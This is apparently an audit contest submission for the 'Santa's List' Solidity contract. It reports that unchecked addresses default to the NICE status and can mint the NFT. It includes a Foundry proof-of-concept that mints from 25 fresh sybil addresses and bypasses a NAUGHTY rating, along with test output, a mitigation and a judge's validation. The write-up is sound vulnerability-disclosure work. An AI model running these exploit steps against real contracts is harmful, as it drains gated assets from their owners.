Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

Status.NICE is enum value 0 (the mapping default), so every address Santa never checked passes collectPresent as NICE/NICE and mints the NFT, removing the eligibility gate for the NICE tier

Root + Impact

Description

  • The README says: "In order for someone to be considered NICE or EXTRA_NICE they must be first 'checked twice' by Santa". Only addresses marked NICE or EXTRA_NICE on both lists may collect a present. The README also names an UNKNOWN status for addresses Santa has not classified.

  • NICE is the first member of Status, so its value is 0. That is also the value both mappings return for any address that was never written. As a result, the NICE branch of collectPresent cannot tell "checked twice and nice" apart from "never checked", and after Christmas any fresh address mints the NFT. The same default lets checkTwice(x, NICE) pass its "already marked on the first list" guard for an address that was never passed to checkList.

// src/SantasList.sol, lines 69-74
enum Status {
@> NICE,
EXTRA_NICE,
NAUGHTY,
NOT_CHECKED_TWICE
}
​
// src/SantasList.sol, lines 79-80
@> mapping(address person => Status naughtyOrNice) private s_theListCheckedOnce;
@> mapping(address person => Status naughtyOrNice) private s_theListCheckedTwice;
​
// src/SantasList.sol, lines 154-156 (inside collectPresent)
@> if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
return;

Risk

Likelihood:

  • After CHRISTMAS_2023_BLOCK_TIME, any EOA or contract that Santa never touched can call collectPresent in one permissionless transaction.

  • Fresh addresses cost nothing to create, so the mint scales across any number of addresses, and the NFTs can then be swept into one wallet.

Impact:

  • For the NICE tier, the protocol's core eligibility gate does not exist. Any address can mint the "checked twice by Santa" NFT, so NFT supply is unbounded. In the PoC, 25 never-checked addresses minted 25 NFTs into one wallet without a single call from Santa.

  • A user whom Santa marked NAUGHTY on both lists can get the NFT from a fresh address without any SantaToken. That makes the paid buyPresent route pointless.

  • Scope of this root cause: it reaches only the NICE tier. The EXTRA_NICE branch is never reached through defaults, so no SantaToken is minted.

Proof of Concept

The PoC deploys SantasList as Santa. It uses no ffi and no repo scripts.

  • test_baseline_gateWorksOnlyForExplicitlyWrittenStatuses: before Christmas, collecting reverts with NotChristmasYet. After Christmas, a user Santa checked NICE twice collects, and a user Santa checked NAUGHTY twice reverts with NotNice.

  • test_neverCheckedAddressCollectsNFT: for an address never touched, both getters return NICE and uint(NICE) == 0. collectPresent mints token 0 to it, and its SantaToken balance stays 0.

  • test_sybil_unboundedSupplyFromFreshAddresses: 25 never-checked addresses each mint one NFT and transfer it to one collector, whose balance ends at 25.

  • test_naughtyUserBypassesViaFreshAddress_buyPresentPointless: a user checked NAUGHTY twice is rejected, then collects from a fresh alt address and moves the NFT to the main address. SantaToken total supply stays 0.

  • test_checkTwiceNice_succeedsWithoutFirstCheck: for a never-checked address, checkTwice(x, EXTRA_NICE) reverts but checkTwice(x, NICE) succeeds. Only Santa can call checkTwice, so this part only shows that the README rule is not enforced.

  • test_firstPassNaughtyOnly_selfResetBecomesEligible: a user Santa marked NAUGHTY on the first pass only still has a default-NICE second list. After rewriting their own first list to NICE through the unguarded checkList, which is a separate submission, they collect. A user Santa marked NAUGHTY on both lists cannot use the same trick.

A single address minting without limit needs the separate balanceOf guard bypass and is not exercised here. Many fresh addresses give the same supply impact without it.

File test/PoC_SL-03.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
import {Test, console2} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
import {SantaToken} from "../src/SantaToken.sol";
​
/// @notice SL-03: Status.NICE is enum value 0 (the mapping default), so every address
/// Santa never touched reads as NICE/NICE and passes collectPresent's NICE branch.
contract PoC_SL03 is Test {
SantasList internal list;
SantaToken internal token;
​
address internal santa = makeAddr("santa");
address internal niceUser = makeAddr("niceUser");
address internal naughtyUser = makeAddr("naughtyUser");
​
function setUp() public {
vm.prank(santa);
list = new SantasList();
token = SantaToken(list.getSantaToken());
}
​
function _warpToChristmas() internal {
vm.warp(list.CHRISTMAS_2023_BLOCK_TIME() + 1);
}
​
/// Baseline: the intended path, and the gate working for an address Santa marked NAUGHTY.
function test_baseline_gateWorksOnlyForExplicitlyWrittenStatuses() public {
// Santa checks niceUser twice as NICE (intended path)
vm.startPrank(santa);
list.checkList(niceUser, SantasList.Status.NICE);
list.checkTwice(niceUser, SantasList.Status.NICE);
// Santa checks naughtyUser twice as NAUGHTY
list.checkList(naughtyUser, SantasList.Status.NAUGHTY);
list.checkTwice(naughtyUser, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
// Before Christmas nobody can collect
vm.prank(niceUser);
vm.expectRevert(SantasList.SantasList__NotChristmasYet.selector);
list.collectPresent();
​
_warpToChristmas();
​
vm.prank(niceUser);
list.collectPresent();
assertEq(list.balanceOf(niceUser), 1, "checked-twice NICE user collects");
​
vm.prank(naughtyUser);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
list.collectPresent();
assertEq(list.balanceOf(naughtyUser), 0, "NAUGHTY user is rejected");
}
​
/// Core claim: an address Santa never checked is minted the NICE NFT.
function test_neverCheckedAddressCollectsNFT() public {
address stranger = makeAddr("never-checked-stranger");
​
// Unwritten mappings read as Status.NICE (enum value 0)
assertEq(uint256(list.getNaughtyOrNiceOnce(stranger)), uint256(SantasList.Status.NICE));
assertEq(uint256(list.getNaughtyOrNiceTwice(stranger)), uint256(SantasList.Status.NICE));
assertEq(uint256(SantasList.Status.NICE), 0, "NICE is the zero member");
​
_warpToChristmas();
​
// No checkList / checkTwice call has ever been made for `stranger`
vm.recordLogs();
vm.prank(stranger);
list.collectPresent();
​
assertEq(list.balanceOf(stranger), 1, "never-checked address minted the NICE NFT");
assertEq(list.ownerOf(0), stranger);
// EXTRA_NICE branch is not reachable via defaults: no SantaToken minted
assertEq(token.balanceOf(stranger), 0, "no SantaToken from defaults alone");
console2.log("stranger NFT balance:", list.balanceOf(stranger));
}
​
/// Sybil scale: N fresh addresses each mint one NFT, and sweep them into one wallet.
function test_sybil_unboundedSupplyFromFreshAddresses() public {
address collector = makeAddr("collector");
uint256 n = 25;
_warpToChristmas();
​
for (uint256 i = 0; i < n; i++) {
address sybil = address(uint160(uint256(keccak256(abi.encode("sybil", i)))));
vm.prank(sybil);
list.collectPresent();
vm.prank(sybil);
list.transferFrom(sybil, collector, i);
}
​
assertEq(list.balanceOf(collector), n, "one wallet holds N 'checked-twice' NFTs");
console2.log("NFTs swept into one wallet from never-checked sybils:", list.balanceOf(collector));
// Santa never checked anyone
}
​
/// A user Santa explicitly marked NAUGHTY on both lists gets the NICE NFT for free
/// from a fresh address, without SantaToken and without buyPresent.
function test_naughtyUserBypassesViaFreshAddress_buyPresentPointless() public {
vm.startPrank(santa);
list.checkList(naughtyUser, SantasList.Status.NAUGHTY);
list.checkTwice(naughtyUser, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
_warpToChristmas();
​
vm.prank(naughtyUser);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
list.collectPresent();
​
address naughtyAlt = makeAddr("naughtyUser-alt");
assertEq(token.balanceOf(naughtyAlt), 0);
vm.prank(naughtyAlt);
list.collectPresent();
vm.prank(naughtyAlt);
list.transferFrom(naughtyAlt, naughtyUser, 0);
​
assertEq(list.balanceOf(naughtyUser), 1, "NAUGHTY user holds the NFT");
assertEq(token.balanceOf(naughtyUser), 0, "spent no SantaToken");
assertEq(token.totalSupply(), 0, "no SantaToken exists; buyPresent never used");
}
​
/// Limb 4: checkTwice(x, NICE) passes the 'already marked on the first list' guard
/// for an x never passed to checkList; the same guard rejects non-zero statuses.
function test_checkTwiceNice_succeedsWithoutFirstCheck() public {
address neverChecked = makeAddr("neverChecked");
​
vm.prank(santa);
vm.expectRevert(SantasList.SantasList__SecondCheckDoesntMatchFirst.selector);
list.checkTwice(neverChecked, SantasList.Status.EXTRA_NICE);
​
vm.prank(santa);
list.checkTwice(neverChecked, SantasList.Status.NICE); // no revert: 0 == 0
assertEq(uint256(list.getNaughtyOrNiceTwice(neverChecked)), uint256(SantasList.Status.NICE));
}
​
/// Limb 5 (amplifier, depends on the unguarded checkList): a user Santa marked NAUGHTY
/// on the first pass only still has a default-NICE second list; self-resetting the
/// first list to NICE makes them eligible. If Santa completed the second pass as
/// NAUGHTY, the reset does not help.
function test_firstPassNaughtyOnly_selfResetBecomesEligible() public {
address halfChecked = makeAddr("halfChecked");
address fullyChecked = makeAddr("fullyChecked");
​
vm.startPrank(santa);
list.checkList(halfChecked, SantasList.Status.NAUGHTY);
list.checkList(fullyChecked, SantasList.Status.NAUGHTY);
list.checkTwice(fullyChecked, SantasList.Status.NAUGHTY);
vm.stopPrank();
​
_warpToChristmas();
​
vm.prank(halfChecked);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
list.collectPresent();
​
// Anyone may call checkList (no onlySanta)
vm.prank(halfChecked);
list.checkList(halfChecked, SantasList.Status.NICE);
vm.prank(halfChecked);
list.collectPresent();
assertEq(list.balanceOf(halfChecked), 1, "first-pass-NAUGHTY user collected after self-reset");
​
// Narrowing: fully checked NAUGHTY user cannot use the same trick
vm.prank(fullyChecked);
list.checkList(fullyChecked, SantasList.Status.NICE);
vm.prank(fullyChecked);
vm.expectRevert(SantasList.SantasList__NotNice.selector);
list.collectPresent();
}
}

Run from the repository root:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_SL-03.t.sol -vv

Result:

Ran 6 tests for test/PoC_SL-03.t.sol:PoC_SL03
[PASS] test_baseline_gateWorksOnlyForExplicitlyWrittenStatuses() (gas: 163876)
[PASS] test_checkTwiceNice_succeedsWithoutFirstCheck() (gas: 27124)
[PASS] test_firstPassNaughtyOnly_selfResetBecomesEligible() (gas: 147064)
[PASS] test_naughtyUserBypassesViaFreshAddress_buyPresentPointless() (gas: 176621)
[PASS] test_neverCheckedAddressCollectsNFT() (gas: 108969)
Logs:
stranger NFT balance: 1
​
[PASS] test_sybil_unboundedSupplyFromFreshAddresses() (gas: 1302225)
Logs:
NFTs swept into one wallet from never-checked sybils: 25
​
Suite result: ok. 6 passed; 0 failed; 0 skipped

Recommended Mitigation

Make the unchecked state the zero member of the enum, as the README's UNKNOWN status implies. Never-written addresses then read UNKNOWN, which matches neither collect branch. checkTwice(x, NICE) also reverts for an address that was never passed to checkList, because 0 no longer equals NICE.

enum Status {
+ UNKNOWN,
NICE,
EXTRA_NICE,
NAUGHTY,
NOT_CHECKED_TWICE
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] All addresses are considered `NICE` by default and are able to claim a NFT through `collectPresent` function before any Santa check.

## Description `collectPresent` function is supposed to be called by users that are considered `NICE` or `EXTRA_NICE` by Santa. This means Santa is supposed to call `checkList` function to assigned a user to a status, and then call `checkTwice` function to execute a double check of the status. Currently, the enum `Status` assigns its default value (0) to `NICE`. This means that both mappings `s_theListCheckedOnce` and `s_theListCheckedTwice` consider every existent address as `NICE`. In other words, all users are by default double checked as `NICE`, and therefore eligible to call `collectPresent` function. ## Vulnerability Details The vulnerability arises due to the order of elements in the enum. If the first value is `NICE`, this means the enum value for each key in both mappings will be `NICE`, as it corresponds to `0` value. ## Impact The impact of this vulnerability is HIGH as it results in a flawed mechanism of the present distribution. Any unchecked address is currently able to call `collectPresent` function and mint an NFT. This is because this contract considers by default every address with a `NICE` status (or 0 value). ## Proof of Concept The following Foundry test will show that any user is able to call `collectPresent` function after `CHRISTMAS_2023_BLOCK_TIME` : ``` function testCollectPresentIsFlawed() external { // prank an attacker's address vm.startPrank(makeAddr("attacker")); // set block.timestamp to CHRISTMAS_2023_BLOCK_TIME vm.warp(1_703_480_381); // collect present without any check from Santa santasList.collectPresent(); vm.stopPrank(); } ``` ## Recommendations I suggest to modify `Status` enum, and use `UNKNOWN` status as the first one. This way, all users will default to `UNKNOWN` status, preventing the successful call to `collectPresent` before any check form Santa: ``` enum Status { UNKNOWN, NICE, EXTRA_NICE, NAUGHTY } ``` After modifying the enum, you can run the following test and see that `collectPresent` call will revert if Santa didn't check the address and assigned its status to `NICE` or `EXTRA_NICE` : ``` function testCollectPresentIsFlawed() external { // prank an attacker's address vm.startPrank(makeAddr("attacker")); // set block.timestamp to CHRISTMAS_2023_BLOCK_TIME vm.warp(1_703_480_381); // collect present without any check from Santa vm.expectRevert(SantasList.SantasList__NotNice.selector); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!